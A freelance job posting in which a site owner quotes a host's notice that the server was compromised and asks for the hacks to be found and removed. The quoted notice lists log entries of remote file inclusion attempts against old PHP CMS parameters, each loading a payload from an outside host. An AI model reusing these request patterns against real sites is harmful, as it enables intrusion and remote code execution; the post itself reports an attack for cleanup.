I just received this from my host:

"Your server has been compromised and used to attack and/or spam other networks. I found hacks in each of the following directories:

/home/..../public_html/modules

/home/..../public_html/language

I have disabled the malicious content and changed the permissions of each directory from 777 to 755.

and

The following files appear to be vulnerable to cross-site scripting or remote file inclusion exploits. I have included examples from the logs that show how each file is being abused. It is certainly possible that some of these examples are false positives. I have disabled these files until they can be updated and secured or removed altogether. I recommend updating any and all third-party software, especially anything that utilizes PHP:

aaaaaaaaaaaaaaa.com


/index.php?option=com_rss&mosConfig.absolute.path= http://momok.org/a.gif?

bbbbbbbbbbbbbbb.com


/index.php?mosConfig_absolute_path= http://www.lovebyday.com/linux/Oid1.txt??


/database/1111111.php?whereartistlike= http://beerincooler.chat.ru/image.jpg?


/database/22222.php/index.php?mosConfig_absolute_path= http://www.lovebyday.com/linux/Oid1.txt??

cccccccccc.com


/index.php?show= http://www.tribal-zone.fr/ /administrator/components/com_virtuemart/sql/Oid1.txt???


/main.php?page= http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt???


/photogallery/index.php?level= http://servededicado.com.br/power.txt

ddddddddddd.com


/index2.php?option=com_content&do_pdf=1&id=13%20//bug_sponsorship_list_view_inc.php?t_core_path= http://www.ursula1.de/fdh/bodo.txt???


/component/option,com_contact//index.php?option=com_contact&Itemid=&mosConfig.absolute.path= http://demo.njipn.com/mambots/system/idtasikfeel.txt??

eeeeeeeeeeee.com


/index.php?cp= http://ninaru.hut2.ru/images/cs.txt? "

I need these hacks/exploits found and removed. And I need my server secured properly.

Please only bid if you are honest, experienced and well-reviewed.